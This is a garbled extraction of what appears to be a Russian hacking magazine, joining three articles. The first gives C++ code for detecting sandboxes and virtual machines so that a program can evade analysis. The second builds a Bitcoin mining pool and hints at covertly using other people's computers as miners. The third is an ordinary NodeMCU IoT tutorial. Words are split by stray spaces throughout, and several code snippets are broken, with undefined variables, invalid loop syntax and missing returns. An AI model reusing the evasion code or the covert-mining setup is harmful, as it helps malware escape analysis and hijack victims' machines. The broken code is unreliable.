прос транс тве  нашей  прог раммы  на  пред мет  извес тных  модулей  песоч ниц.
Сде лаем  это  нап рямую  из  нашего  про цес са  при  помощи  WinAPI‐фун кции

:GetModuleHandle

BOOL checkLoadedDll(LPCWSTR pDllName)
{
   HMODULE hDll = GetModuleHandle(pDllName);
   if(hDll) return TRUE;
}

Про вер ка на песоч ницу Comodo Internet Security:

if (checkLoadedDll(L"cmdvrt64.dll")) std::cout << "Comodo sandbox 
detected!\n";

Или про верим на Sandboxie:

if (checkLoadedDll(L"sbiedll.dll")) std::cout << "Sandboxie detected!
\n";

Фун кция   про веря ет наличие DLL в адресном прос транс‐ 
тве вызыва юще го про цес са. Если фун кция не находит модуль, то воз вра щает
ноль, усло вие не сра баты вает.

GetModuleHandle()

Что бы узнать спи сок под клю чен ных модулей в сто рон нем про цес се, нуж но
получить его хендл, выз вав фун кцию WinAPI  , затем перечис лить
все под клю чен ные к про цес су модули с помощью фун кции 

  (в  нее  сле дует  передать  получен ный  хендл)  и,  наконец,  получить  наз‐ 
вание модуля с помощью фун кции WinAPI  .

OpenProcess
EnumProcessMod‐

ules
GetModuleFileNameEx

ЧЕЛОВЕЧЕСКИЙ ФАКТОР
Что  делать,  если  мы  не  зна ем  даже  при мер но,  какая  имен но  прог‐ 
рамма‐песоч ница  будет  исполь зована?  Надо  ска зать,  что  очень  слож но
на  100%  задетек тить  гра мот но  написан ную  песоч ницу,  ведь  она  будет
работать на  уров не  ядра, может пря тать  все свои про цес сы,  под клю чен ные
модули, может даже скры вать собс твен ный драй вер. Тех ники, которые будут
перечис лены  далее,  я  рекомен дую  исполь зовать  по  прин ципу  экспертной
сис темы  для  ана лиза  резуль татов:  чем  боль ше  будет  сра баты ваний,  тем
более веро ятно, что мы находим ся в изо лиро ван ной сре де.

Пер вый  спо соб  кос венно го  обна руже ния  sandbox‐изо ляции  осно ван
на челове чес ком поведе нии. Мы допус каем, что пос ле запус ка нашей прог‐ 
раммы ука затель мыши переме щал ся, и если это про исхо дит, то мож но пред‐ 
положить,  что  песоч ница  не  исполь зует ся.  Срав ним  коор динаты  ука зате ля
через некото рый про межу ток вре мени: если коор динаты не меня ются, мож но
ста вить один балл в поль зу того, что нас иссле дуют внут ри песоч ницы.

BOOL mouse_motion()
{
   int count = 0;
   POINT mouse_coordinate1 = {};
   POINT mouse_coordinate2 = {};
   GetCursorPos(&mouse_coordinate1);
   Sleep(1500);
   GetCursorPos(&mouse_coordinate2);
   if ((mouse_coordinate1.x == mouse_coordinate2.x) && 
       (mouse_coordinate1.y == mouse_coordinate2.y))
       ++count;
   GetCursorPos(&mouse_coordinate1);
   Sleep(1500);
   GetCursorPos(&mouse_coordinate2);
   if ((mouse_coordinate1.x == mouse_coordinate2.x) && 
       (mouse_coordinate1.y == mouse_coordinate2.y))
       ++count;
   if(count > 0) return TRUE;
       else return FALSE;
}

В этой фун кции мы берем два отрезка вре мени по пол торы секун ды каж дый и,
если  в  каком‐то  отрезке  вре мени  не  было  переме щения  ука зате ля  мыши,
дела ем вывод,  что, ско рее все го, выпол нение идет под бди тель ным взо ром
изо лиро ван ной сре ды.

PEB -> NUMBEROFPROCESSORS
Изо лиро ван ные  сре ды  час то  усе кают  чис ло  про цес соров,  что бы  не  занять
все  ресур сы  компь юте ра.  Нап ример,  песоч ница  может  эму лиро вать  одно‐ 
ядер ный  про цес сор.  Но  на  дво ре  2018  год,  и  даже  в  мобиль ных  гад жетах
зачас тую кам ни с четырь мя ядра ми, так что сме ло можем про верять, сколь ко
ядер про цес сора видит наша прог рамма. Если ядро все го одно, то это повод
для подоз рений.

Код для архи тек туры x64:

PULONG procNum = (PULONG)(__readgsqword(0x60) + 0xB8);   // DWORD 
NumberOfProcessors;

Для x86:

PULONG procNum = (PULONG)(__readfsdword(0x30) + 0x64);   // DWORD 
NumberOfProcessors;

Этот  код  получа ет  содер жимое  поля    из  PEB  (Process
Environment Block). Теперь лег ко про верить чис ло про цес соров:

NumberOfProcessors

if (*procNum < 2)  std::cout << "NumberOfProcessors == 1, may be 
sandboxed!\n";

ВЫЯСНЯЕМ РАЗМЕР ОПЕРАТИВНОЙ ПАМЯТИ
Дру гой побоч ный приз нак сен дбок синга — это малое количес тво опе ратив‐ 
ной памяти. В наши дни ред ко мож но уви деть ПК с одним‐дву мя гигабай тами
опе ратив ки,  теперь  это  ско рее  нор маль ный  объ ем  для  смар тфо нов.  Вот
как будет выг лядеть реали зация про вер ки.

BOOL check_memory()
{
   MEMORYSTATUSEX mem_stat = { 0 };    
   statex.dwLength = sizeof(mem_stat);
   GlobalMemoryStatusEx(&mem_stat);
   if(mem_stat.ullTotalPhys < (1024LL * (1024LL * (1024LL * 1LL)))) 
return TRUE;
   else return FALSE;
}

ПРОВЕРЯЕМ СВОБОДНОЕ МЕСТО
Ма ло мес та на жес тком дис ке? Воз можно, и прав да все забито под завяз ку,
но есть веро ятность того, что это оче ред ной приз нак песоч ницы. В этом при‐ 
мере мы пред полага ем, что прог рамма работа ет в изо ляции, если дос тупно
мень ше 30 Гбайт.

BOOL check_freespace()
{
   LPCWSTR lpDirectoryName = NULL;
   ULARGE_INTEGER lpTotalNumberOfBytes;
   BOOL bStat = GetDiskFreeSpaceEx(lpDirectoryName, NULL, &lpTota
lNumberOfBytes, NULL);
   if (bStat) 
   {
       if (lpTotalNumberOfBytes.QuadPart < (30ULL * (1024ULL * (
1024ULL * (1024ULL)))))
           return TRUE;
       else return FALSE;
   }
}

ПРОСТЫЕ ТАЙМИНГ-АТАКИ
Пе соч ницы  зачас тую  весь ма  тре бова тель ны  к  ресур сам  и  неред ко  силь но
замед ляют  работу  прог раммы.  Мы  можем  исполь зовать  тай минг‐ата ки
для того, что бы понять, исполь зует ся эму ляция обо рудо вания или нет. Один
из вари антов — выпол нять какой‐нибудь сис темный вызов, который на чис той
сис теме  будет  работать  момен таль но,  а  в  эму лиру емой  сре де  замед лен
из‐за  драй вера  песоч ницы.  Если  раз ница  велика,  то  мож но  пред положить,
что  исполь зует ся  песоч ница.  На  такой  трюк  ловит ся,  нап ример,  песоч ница
Sandboxie.

BOOL checkTiming1()
{
   unsigned __int64 counter1, counter2, counter3;
   int i = 0;
   do
   {
       counter1 = __rdtsc();
       GetProcessHeap();
       counter2 = __rdtsc();
       CloseHandle(0);
       counter3 = __rdtsc();
       // Замеряем отношение времени выполнения CloseHandle и GetPro
cessHeap()
       if ( ( LODWORD(counter3) ‐ LODWORD(counter2) ) / 
           ( LODWORD(counter2) ‐ LODWORD(counter1) ) >= 10)
           return TRUE;
   } while (i = 0; i < 10; i++);
   return FALSE;
}

От ношение вре мени выпол нения фун кции   и 
дол жно быть око ло 1 к 10. Если отно шение мень ше, дела ем вывод о наличии
филь тра ции вызовов в драй вере песоч ницы.

CloseHandle GetProcessHeap()

Так же  песоч ницы  могут  опти мизи ровать  течение  вре мени  —  нап ример,
игно риро вать  вызовы  фун кции  .  Если  сде лать  замеры  вре мени
выпол нения до вызова   и пос ле, то мы это уви дим.

Sleep()
Sleep()

BOOL check_sleep()
{
   // Инициализируем пустые метки
   DWORD counterStart = 0;
   DWORD counterEnd = 0;
   DWORD difference = 0;
   counterStart = GetTickCount();  // Засекаем время до вызова 
Sleep();
   Sleep(100000); // Засыпаем на 100 секунд
   counterEnd = GetTickCount();  // Проверяем время после вызова
   difference = counterEnd ‐ counterStart;  // Сравниваем временные 
интервалы
   if difference > 99000) // Корректируем на одну секунду, допуская 
погрешность
       return FALSE;
   else    return TRUE;
}

БЫСТРЫЙ ДЕТЕКТ ГИПЕРВИЗОРОВ
Мы рас смот рели детек тирова ние извес тных и неиз вес тных прог рамм‐песоч‐ 
ниц,  но  нель зя  ли  опре делить  гипер визор?  Здесь  нам  поможет  инс трук ция

. Она зап рашива ет у про цес сора его тип и фун кции, которые он под‐ 
держи вает. На выходе мы получа ем запол ненную струк туру  , которая
сос тоит из четырех чисел, переда ваемых в регис трах про цес сора EAX, EBX,
ECX  и  EDX.  На  вход  нуж но  подать  чис тую  струк туру    и  чис ло 

, которое говорит коман де, какая имен но информа ция нас инте ресу‐ 
ет. Фун кция под держи вает как x64‐, так и x86‐архи тек туры. Ее про тотип выг‐ 
лядит сле дующим обра зом:

__cpuid
cpuInfo

cpuInfo func‐
tion_id

void __cpuid(  
   int cpuInfo[4],  
   int function_id  
); 

Ес ли передать чис ло 1 в поле   и пос мотреть, выс тавлен ли 31‐й
бит в регис тре ECX струк туры  , то мож но узнать о при сутс твии гипер‐ 
визора. Итак, код:

function_id
cpuInfo

BOOL check_cpuid()
{
   INT cpuInfo[4] = { ‐1 }; // Объявляем структуру cpuInfo и 
инициализируем ее
   __cpuid(cpuInfo, 1); // Запрашиваем данные
   if ((cpuInfo[2] >> 31) & 1) 
       return TRUE; // Проверяем нужный бит в структуре cpuInfo
}

По мимо  это го,  извес тные  гипер визоры  детек тиру ются  так  же,  как  и  песоч‐ 
ницы: мож но прос то пос мотреть их про цес сы или харак терные записи в реес‐ 
тре.  Давай  поп робу ем  задетек тить  гипер визор  Virtual  PC  при  помощи фун‐ 
кции,  которую  мы  написа ли  выше,  — 

.  Прос то  переда дим  в  нее  имя  нуж ных  про цес сов,  харак терных
для Virtual PC:

DWORD  getPIDproc(char  * 
pProcName)

if(getPIDproc("VMSrvc.exe") || getPIDproc("VMUSrvc.exe")) std::cout <
< "Virtual PC detected!\n";

Так же лег ко най дем гипер визор Citrix Xen:

if(getPIDproc("xenservice.exe")) std::cout << "Citrix Xen detected!\n
";

Те перь  пос мотрим,  как  задетек тить  гипер визоры  по  харак терным  записям
в  реес тре.  Для  это го  напишем  неболь шую  фун кцию,  которая  поможет  нам
опре делить, что прог рамма исполня ется внут ри Wine.

BOOL check_wine_registry_key()
{
   HKEY phkResult = FALSE;
   if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Wine"), NULL, 
KEY_READ, &phkResult) == ERROR_SUCCESS)
       {
           RegCloseKey(phkResult);
           return TRUE;
       }
};

ЗАКЛЮЧЕНИЕ
Вот мы  и  разоб рали,  как  опре делять  извес тные  изо лиро ван ные  сре ды  раз‐ 
ными  спо соба ми.  Это  не  все  из  воз можных  методов,  но  от  такого  набора
загото вок мож но будет отталки вать ся, конс тру ируя свои методы опре деле ния
(а воз можно, и обхо да) сен дбок синга.
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КОДИНГ

Па дение  кур са  Bitcoin  при вело  к  тому,  что  даже  в  нашей
холод ной стра не с дешевым элек три чес твом май нить ста ло
зна читель но менее выгод но. Что оста ется делать энту зиас‐ 
там крип товалют? Осо бо пред при имчи вые ста ли прив лекать
к  рас четам  чужие  компь юте ры  и,  так  ска зать,  перехо дить
к рас пре делен ным вычис лени ям.

ВЫБИРАЕМ ВАЛЮТУ И ГОТОВИМ ИНСТРУМЕНТАРИЙ
В качес тве крип товалю ты мы выб рали бит кой ны — из‐за их высокой сто имос‐ 
ти  и  отно ситель но  хорошей  докумен тации.  Так  как  бит койн‐сеть  не  име ет
цен тра лизо ван ного хра нили ща дан ных, что бы с ней работать, нам понадо бят‐ 
ся средс тва син хро низа ции с дру гими узла ми сети. К счастью, есть  готовое
решение  —  пакет  прог рамм  .  Син хро низа ция  с  живой  сетью
занима ет  очень мно го  вре мени  и мес та  на  дис ке,  поэто му  для  начала  раз‐ 
работ ки и тес тирова ния луч ше исполь зовать тес товую сеть  , которую
пери оди чес ки  очи щают  от  информа ции  о  тран закци ях.  Запус каем  UI‐при‐ 
ложе ние  Bitcoin  Core  (testnet)  и  ждем,  пока  закон чится  син хро низа ция.
В  даль нейшем  для  работы  будем  поль зовать ся  кон соль ным  сер висом
bitcoind.

Bitcoin  Core

testnet

Для  обще ния  с  bitcoind  исполь зует ся  про токол  .  Это  очень
прос той  про токол  поверх  HTTP,  поз воля ющий  вызывать  методы  сер вера,
исполь зуя JSON, что бы задавать имя метода и парамет ры.

JSON‐RPC

По умол чанию в целях безопас ности воз можность под клю чения к bitcoind
отклю чена.  Что бы  ее  вклю чить,  нуж но  соз дать  файл  bitcoin.conf  в  катало ге
Windows:    (нап ример, 

)  или  Linux:    (нап ример, 
).  Готовый  файл  мож но 

. Находим в нем и редак тиру ем сле дующие парамет ры:

%APPDATA%\Bitcoin\ C:\Users\username\AppData\
Roaming\Bitcoin\bitcoin.conf $HOME/.bitcoin/ /
home/username/.bitcoin/bitcoin.conf взять
с GitHub

# Говорим серверу использовать тестовую сеть, а не настоящую
testnet=1 
# Имя пользователя и пароль, конечно же, нужно поменять на сложные
rpcuser=rpcuser
rpcpassword=rpcpassword

Что бы про верить нас трой ки, мож но вос поль зовать ся готовым кли ентом 
. Нап ример,  выпол нив  коман ду    (пред варитель но запус тив
). Под робное опи сание всех команд мож но  .

bit‐
coin‐cli getinfo
bitcoind пос мотреть тут

Наш JSON‐RPC‐кли ент напишем, исполь зуя фрей мворк  , потому что он
прос той,  код  занима ет  мало  мес та  и  в  нем  реали зова ны  все  необ ходимые
нам фун кции.

Vert.x

Итак, соз даем HTTP‐кли ент. Bitcoind исполь зует базовую аутен тифика цию,
поэто му кон верти руем в Base64 стро ку с логином и паролем.

client = vertx.createHttpClient();
requestOptions = new RequestOptions()
       .setHost(host)
       .setPort(port)
       .setURI("/");
base64Key = Base64.getEncoder().encodeToString((user + ':' + password
).getBytes());

Пи шем прос той метод для вызова методов bitcoind. Будем переда вать в него
коман ду в JSON‐фор мате и handler, что бы реаги ровать на получен ный ответ
от сер вера.

private void executeRpc(String command, final Handler<Buffer> handler
) {
   client
       .post(requestOptions, result ‐> {
           if (result.statusCode() == 200) {
               result.bodyHandler(handler);
           } else {
               System.out.println("Failed do post because " + result
.statusMessage());
           }
       })
       .putHeader(HttpHeaders.CONTENT_TYPE, "application/json")
       .putHeader(HttpHeaders.AUTHORIZATION, "Basic " + base64Key)
       .putHeader(HttpHeaders.CONTENT_LENGTH, String.valueOf(command
.length()))
       .write(command)
       .end();
}

Ос новные  коман ды,  которые  нам  понадо бят ся,  —  это  получить  работу
и отпра вить работу. Но преж де чем прис тупать к их реали зации, рас смот рим
под робнее про цесс май нин га. Как извес тно, бит койн базиру ется на цепоч ке
бло ков, в которых хра нит ся информа ция обо всех тран закци ях. Каж дый блок
сос тоит из заголов ка и спис ка тран закций. Задача май нера — получить хеш
заголов ка бло ка, зна чение которо го мень ше задан ного. За это он воз награж‐ 
дает ся некото рой сум мой крип тоденег.

За голо вок сос тоит из нес коль ких полей:
вер сия (опре деля ет вер сию валида ции бло ка),•
хеш заголов ка пре дыду щего бло ка,•
ко рень Мер кле (хеш всех тран закций, вклю чен ных в блок),•
вре мя соз дания бло ка,•
bits  (закоди рован ная  вер сия  задан ного  мак сималь ного  зна чения  хеша
бло ка),

•

nonce (про изволь ное зна чение).•

Рас шифров ка заголов ка

Всю эту информа цию поз воля ет получить коман да  .getblocktemplate

executeRpc(new JsonObject(ImmutableMap.of(
       "id", "1",
       "method", "getblocktemplate",
       "params", "",
       "jsonrpc", "1.0")).toString(), buffer ‐> {
   createJobData(buffer.toJsonObject());
});

В резуль тате получим JSON‐объ ект.

{
 "result": {
   "version": <версия блока>,
   "previousblockhash": "<хеш предыдущего блока>",
   "transactions": [ <транзакции, которые нужно включить в блок>
     {
       "data": "<данные транзакции>",
       "hash": "<хеш транзакции, который понадобится для построения 
корня Меркле>",
       "fee": <разница в биткойнах между входами и выходами>,
       ...
     }
     ...
   ],
   "coinbaseaux": { <данные, которые нужно включить в скрипт 
транзакции генерации новых денег>
     "flags": ""
   },
   "coinbasevalue": <максимальная награда за майнинг этого блока>,
   "target": "<целевое значение для хеша блока>",
   "mintime": <минимальное возможное время создания блока>,
   "mutable": [ <изменяемые поля>
     "time",
     "transactions",
     "prevblock"
   ],
   "noncerange": "<допустимый диапазон nonce>",
   "curtime": <время создания блока>,
   "bits": "<упакованное значение target>",
   "height": <высота текущего блока>
 },
 "error": null,
 "id": "1"

}

Что бы  добить ся  нуж ного  зна чения  хеша  заголов ка,  май нер  может  менять
nonce  и  вре мя  соз дания  бло ка  (в  огра ничен ном  диапа зоне).  Раз мерность
nonce и огра ниче ния на изме нения вре мени соз дания бло ка при водят к огра‐ 
ничен ному  диапа зону  перебо ра  воз можных  зна чений.  Что бы  его  уве личить,
пре дус мотре на воз можность изме нения тран закций, в резуль тате чего меня‐ 
ется  корень  Мер кле,  уве личи вая  тем  самым  вари анты  перебо ра.  Задача
пула  —  рас пре делить  работу  меж ду  май нерами  таким  обра зом,  что бы  их
работа не дуб лирова лась.

Пер вой тран закци ей в бло ке обыч но идет так называ емая coinbase‐тран‐ 
закция, которая отве чает за генера цию новых денег. Она отли чает ся от обыч‐ 
ной тран закции тем, что не име ет вхо да, опи сыва юще го, отку да приш ли день‐ 
ги. Кро ме того, в каж дой тран закции есть поля scriptPubKey и scriptSig. В них
содер жится  неболь шая  прог рамма  на  язы ке  ,  которая  отве чает
за валида цию тран закции. Что бы тран закция счи талась валид ной, вызыва ется
сна чала scriptSig из ста рой тран закции, а затем scriptPubKey из новой тран‐ 
закции.  Если  выпол нение  успешно,  то  тран закция  счи тает ся  валид ной.  Так
как в coinbase‐тран закции нет вхо дящей тран закции, то поле scriptSig называ‐ 
ется coinbase и в него мож но писать любую информа цию. Этим и поль зуют ся
пулы, что бы уве личить диапа зон переби раемых зна чений.

Script

Опи сание полей coinbase‐тран закции

Раз работ чики Bitcoin  нем ного  перемуд рили  с  пред став лени ем  дан ных —  то
пря мой,  то  обратный  порядок  бай тов,  поэто му,  что бы  не  сой ти  с  ума,  вос‐ 
поль зуем ся для генера ции coinbase‐тран закции Java‐биб лиоте кой  .bitcoinj

TestNet3Params params = TestNet3Params.get(); // Используем тестовую 
сеть
byte[] pubKeyTo = (new ECKey()).getPubKey(); // Тут должен быть 
валидный кошелек пула
Coin coin = Coin.valueOf(blocktemplate.getJsonObject("result").
getLong("coinbasevalue"));
int height = blocktemplate.getJsonObject("result").getInteger(
"height");
String coinbaseauxFlags = blocktemplate.getJsonObject("result").
getJsonObject("coinbaseaux").getString("flags");
byte[] extranonce = new byte[8];
String message = "Troyanpool Rulez!";
byte[] coinbase = generateCoinbaseTransaction(params, height, extran
once, message, pubKeyTo, coin).bitcoinSerialize();
private Transaction generateCoinbaseTransaction(NetworkParameters 
params, int height, String coinbaseauxFlags, byte[] extranonce, 
String message, byte[] pubKeyTo, Coin value) {
   Transaction coinbase = new Transaction(params);
   ScriptBuilder inputBuilder = new ScriptBuilder();
   inputBuilder.number((long)height);
   byte[] coinbseauxFlagsData = isNotEmpty(coinbaseauxFlags) ? 
coinbseauxFlagsData = HEX.decode(coinbaseauxFlags) : new byte[0];
   byte[] messageData = message.getBytes();
   byte[] data = new byte[coinbseauxFlagsData.length + extranonce.
length + messageData.length];
   if (coinbseauxFlagsData.length > 0) {
       System.arraycopy(coinbseauxFlagsData, 0, data, 0, coinbs
eauxFlagsData.length);
   }
   System.arraycopy(extranonce, 0, data, coinbseauxFlagsData.length,
extranonce.length);
   System.arraycopy(messageData, 0, data, coinbseauxFlagsData.length
+ extranonce.length, messageData.length);
   inputBuilder.data(data);
   coinbase.addInput(new TransactionInput(params, coinbase, inputB
uilder.build().getProgram()));
   coinbase.addOutput(new TransactionOutput(params, coinbase, value,
ScriptBuilder.createOutputScript(ECKey.fromPublicOnly(pubKeyTo)).

getProgram()));
   return coinbase;
}

Для  удобс тва  май неров  (что бы  им  лиш ний  раз  не  делать  вычис ления)  раз‐ 
делим coinbase‐тран закцию на три час ти: coinbase1, extranonce, coinbase2.

Ос талось  обес печить  канал  свя зи  с  май нерами.  Для  это го  вос поль зуем ся
про токо лом Stratum. Он базиру ется на  TCP/IP‐сокетах,  через  которые  гоня‐ 
ются  дан ные  в  фор мате  JSON.  Соз дадим  обра бот чик  соеди нения  с  май‐ 
нерами.

vertx.createNetServer().connectHandler(netSocket ‐> {
   // Конец команды обозначается символом перевода каретки
   RecordParser parser = RecordParser.newDelimited("\n", netSocket);
   parser
           .endHandler(v ‐> netSocket.close())
           .exceptionHandler(throwable ‐> {
               throwable.printStackTrace();
               netSocket.close();
           })
           .handler(buffer ‐> {
               String inputCommand = buffer.toString("UTF‐8");
               processCommand(new JsonObject(inputCommand));
           });
}).listen(33333);

Про токол тре бует авто риза ции май неров, а так как наши май неры не сов сем
люди  и  никак  не  могут  зарегис три ровать ся,  мож но  логин  генери ровать,
пароль же либо зашить  в исходный  код май нера,  либо вычис лять по извес‐ 
тно му пулу и май неру алго рит му. Под робнее о про токо ле Stratum мож но 

.  Что бы  гаран тирован но  рас пре делять  уни каль ную  часть  работы
каж дому май неру, раз делим extranonce на две час ти и в пер вой будем прос‐ 
тавлять счет чик май неров, а вто рую раз решим изме нять.

по‐ 
читать  тут

// Сохраним информацию о майнере
Miner miner = new Miner(netSocket);
miner.setExtranonce1(minerCounter++);

Ин форма цию  об  extranonce  и  уни каль ный  иден тифика тор  под писки  отправ‐ 
ляем кли енту в ответ на коман ду mining.subscribe:

if (command.getString("method").equalsIgnoreCase("mining.subscribe"))
{
   String answer = "{\"jsonrpc\":\"2.0\",\"result\":[[\"mining.
notify\",\"" + subscriptionId + "\"],\"" 
       + extraNonce1 + "\"," + extraNonce2.length + "],\"id\":1}";

Сфор миру ем задание для май нера.

{
"params": 
 ["<идентификатор задания>", 
 "<хеш предыдущего блока>", 
 "<coinbase1>", 
 "<coinbase2>", 
 ["<хеш транзакции 1>", ... "<хеш транзакции х>"], 
 "<версия>", 
 "<bits>", 
 "<время создания блока>", 
 <если true, то необходимо переключиться на новую задачу>], 
 "id": "1", "method": "mining.notify"

}

Ког да май нер най дет  решение,  он  приш лет  вто рую  часть  extranonce,  вре мя
соз дания бло ка и  nonce. Пулу необ ходимо соб рать новый блок и отпра вить
его в bitcoin‐сеть.

TestNet3Params params = TestNet3Params.get(); // Используем тестовую 
сеть
// Не забываем добавить coinbase‐транзакцию

transactions.add(generateCoinbaseTransaction(params, height, extran
once, message, pubKeyTo, coin));
Block block = new Block(params, blockVersion, prevBlockHash, merkel
Root, ntime, difficulty, nonce, transactions);
byte[] blockBytes = block.bitcoinSerialize();
executeRpc(new JsonObject(ImmutableMap.of(
       "id", "1",
       "method", "submitblock",
       "params", HEX.encode(blockBytes),
       "jsonrpc", "1.0")).toString(), buffer ‐> {
   JsonObject result = buffer.toJsonObject();
   if (result.getString("result") == null) {
       System.out.println("Блок успешно вставлен!");
   }
});

Ког да  блок  успешно  добав лен,  нуж но  уве домить  всех  кли ентов  об  отме не
работы над этим бло ком. Для это го исполь зуем шину событий.

// Сервер подписывается на события
vertx.eventBus().consumer("miner.notify", message ‐> {
   for (Miner miner : miners) {
       miner.getSocket().write(message.body().toString());
   }
});
...
// Планировщик заданий отправляет уведомление о новой работе
vertx.eventBus().publish("miner.notify", jobNotification);

ВУАЛЯ!
Наш  про ект  завер шен.  Оста лось  добавить  обра бот ку  оши бок,  и  мож но
начинать  май нить.  Одна ко  пом ни,  что  пул  для  май нин га  тре бует  хороше го
канала и доволь но мно го мес та на дис ке. И не забудь пре дуп редить об этих
огра ниче ниях  дру зей,  которые доб роволь но  сог ласят ся  тебе  помочь  в май‐ 
нин ге крип товалю ты, ведь ты не хочешь ненаро ком их огор чить? :)

mailto:gogaworm@tut.by
https://bitcoin.org/en/download
https://ru.wikipedia.org/wiki/JSON-RPC
https://github.com/bitcoin/bitcoin/blob/master/contrib/debian/examples/bitcoin.conf
https://bitcoin.org/en/developer-reference#rpcs
https://en.bitcoin.it/wiki/Script
https://bitcoinj.github.io/
https://slushpool.com/help/topic/stratum-protocol/
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КОДИНГ

Са мое  популяр ное  наз начение  IoT‐устрой ств  —  это  сбор
телемет рии.  На  сегод няшний  день  цены  на  облачные  IoT‐
сер висы  сни зились  бук валь но  до  одно го  дол лара  в  месяц,
который,  сог ласись,  не  жал ко  отдать  даже  прос то  ради
экспе римен та.  :)  В  этой  статье  я  рас ска жу,  как  отпра вить
дан ные  в  обла ко  с  пла ты  NodeMCU,  исполь зуя  язык  Lua.
Для соз дания облачной час ти я исполь зовал Azure Functions
и Table Storage, но мой PoC для NodeMCU и язы ка Lua мож но
исполь зовать  и  с  дру гими  про вай дерами  облачных  IoT‐
решений.

INFO

NodeMCU  от  Expressif  —  это  одна  из  самых
недоро гих  плат  с  Wi‐Fi,  microUSB  и  прог рамма‐ 
тором на бор ту. Она соз дана на базе модуля ES‐
P8266.  Пла ту  вто рого  поколе ния  мож но  при‐ 
обрести приб лизитель но за 6–7 дол ларов. С пла‐ 
той  мож но  работать  из  Arduino  IDE.  Кро ме  того,
пла та  под держи вает  скрип товый  язык  Lua
(перево дит ся с пор тугаль ско го как «Луна»).

ПОДКЛЮЧЕНИЕ И НАСТРОЙКА ДЕВАЙСА
Для  того  что бы  под  Windows  девайс  рас познал ся,  нуж но  ска чать  драй вер
по сле дующей ссыл ке:  .CP210x USB to UART Bridge VCP Drivers

Стан дар тная  ско рость  пос ледова тель ного  пор та  NodeMCU  —
это 115 200 бит/с. Ты можешь уста новить дру гую ско рость, но при пер вом же
сбро се  устрой ства  она  вер нется  к  115  200.  Важ но,  что бы  драй веру  была
уста нов лена точ но такая же ско рость.

Свой ства драй вера

ПРОШИВКА
Ско рее все го, в пер воначаль ной про шив ке чего‐то будет не хва тать, поэто му
в иде але нуж но про шить устрой ство самос тоятель но. Соб рать образ Firmware
мож но  нес коль кими  спо соба ми:  с  помощью  , 

 или исполь зуя  .
об лачно го  сер виса об раза

Docker’а инс трук цию для Linux
Я собирал с помощью облачно го сер виса, что и всем советую. :)
Ес ли  нуж но  отпра вить  дан ные  в  обла ко,  то  понадо бит ся  выб рать  SNTP,

MQTT,  HTTP  (Wi‐Fi,  timer,  file,  GPIO,  net,  node,  UART  уже  выб раны  по  умол‐ 
чанию).  Так же  сле дует  пометить  в  качес тве  необ ходимо го  TLS/SSL  support
в пун кте Miscellaneous options. Ссыл ка с bin‐фай лом при ходит на поч ту. Точ‐ 
нее  ска зать,  при ходят  даже  сра зу  две  ссыл ки.  Одна  с  обра зом,  под держи‐ 
вающим опе рации с пла вающей запятой, и вто рая с не под держи вающим.

Пе ред  про шив кой  ESP8266  необ ходимо  при вес ти  в  осо бый  режим.
На пла те име ется отдель ная кноп ка FLASH. Ее нажатие во вре мя вклю чения
питания или нажатия reset перево дит девайс в режим bootloader. Если вдруг
в  тво ей  модифи кации  пла ты  такой  кноп ки  нет,  то  перед  про шив кой  нуж но
соеди нить GPIO0  с GND и  нажать  reset  (этот  спо соб  под ходит  для  ESP‐12).
Про шить Firmware мож но ути литой  . Py в наз вании озна чает, что при‐ 
ложе ние  написа но  на  Python.  Есть  еще  ,  но  она  дав но  уже
не обновля лась. Ее я не про бовал.

PyFlasher
nodemcu‐flasher

Ок но PyFlasher выг лядит так:

PyFlasher

Flash mode выбира ется в зависи мос ти от того, какая у нас пла та. Боль шинс‐ 
тву  сов ремен ных  плат  на  базе  модулей  ESP8266  ESP‐12  и  ESP32  под ходит
режим DIO, ESP8266 от 01 до 07 — более быс трый режим QIO. DOUT исполь‐ 
зует ся ESP8285.

НАСТРОЙКА IDE
Ска чива ем бес плат ную IDE по ссыл ке  . В качес тве аль тер нативы есть

.  Мне  боль ше  все го  по  душе  при шел ся  ESPlorer,  поэто му
при веду при мер работы имен но с ним.

ESPlorer
ZeroBrane  Studio

ESPlorer написан на JAVA. Интерфейс при ложе ния такой.

ESPlorer

С левой сто роны код, нас трой ки и подоб ное. С пра вой — окно монито рин га
и  коман ды  управле ния  девай сом.  Откры ваем  при ложе ние,  выбира ем  порт.
Уста нав лива ем  ско рость,  на  которой  будет  про исхо дить  обмен  (веро ятнее
все го, это 115 200), и нажима ем Open.

Ус танов ка ско рос ти пор та в ESPlorer

Для раз минки мож но запус тить прос той скрипт, который мига ет встро енным
све тоди одом:

LED = 0
gpio.mode(LED, gpio.OUTPUT)
function flash_led()
gpio.write(LED, gpio.LOW)
tmr.delay(500000)       
gpio.write(LED, gpio.HIGH)

end
tmr.alarm(1, 1000, tmr.ALARM_AUTO, flash_led)

Ес ли на нашей пла те нет встро енно го све тоди ода (или тебе уже вко нец надо‐ 
ели  при меры  мор гания  све тоди одом),  то  мож но  поп робовать  выпол нить
еще более прос той скрипт, который выводит на экран стро ку:

print("Hello from Lua!")

Пос ле  того  как  соз дашь  файл  фор мата  .lua  (допус тим,  test.lua),  вне сешь
в  него  код  и  сох ранишь  на  диск,  мож но  будет  заг рузить  его  на  устрой ство.
Для  это го  необ ходимо  открыть  порт,  если  он  не  открыт  (кноп ка  Open),
и нажать кноп ку Upload. Ее мож но най ти сре ди кно пок, которые рас положе ны
под кодом (сле ва).

Заг рузив файл, выпол ним его, отпра вив коман ду

dofile("test.lua")

Ко ман ду  мож но  ввес ти  вруч ную  в  ниж нее  поле,  рас положен ное  спра ва
под  монито ром.  Осо бо  ленивые,  а  точ нее —  раци ональ ные  прог раммис ты
могут  нажать  кноп ку  Reload  (край ний  ряд  кно пок  спра ва).  Появит ся  спи сок
кно пок с заг ружен ными на пла ту фай лами  .lua. Нажатие на кноп ку с име нем
фай ла запус тит файл на исполне ние.

Ес ли хочешь, что бы файл запус кался сра зу пос ле вклю чения пла ты, то соз‐ 
дай файл с име нем AUTOEXEC.BA… тьфу, то есть init.lua. :)

НАСТРОЙКА ОБЛАЧНОЙ ЧАСТИ ДЛЯ РАБОТЫ С УСТРОЙСТВОМ
Ос тавим на какое‐то вре мя наше устрой ство и соз дадим его двой ник в обла‐ 
ке.  С  недав них  пор  двой ник  устрой ства  мож но  соз дать  пря мо  на  пор тале
Azure, вос поль зовав шись новыми воз можнос тями. В груп пе нас тро ек IoT‐хаба
под наз вани ем Explorers необ ходимо выб рать IoT Devices и нажать  .+ Add

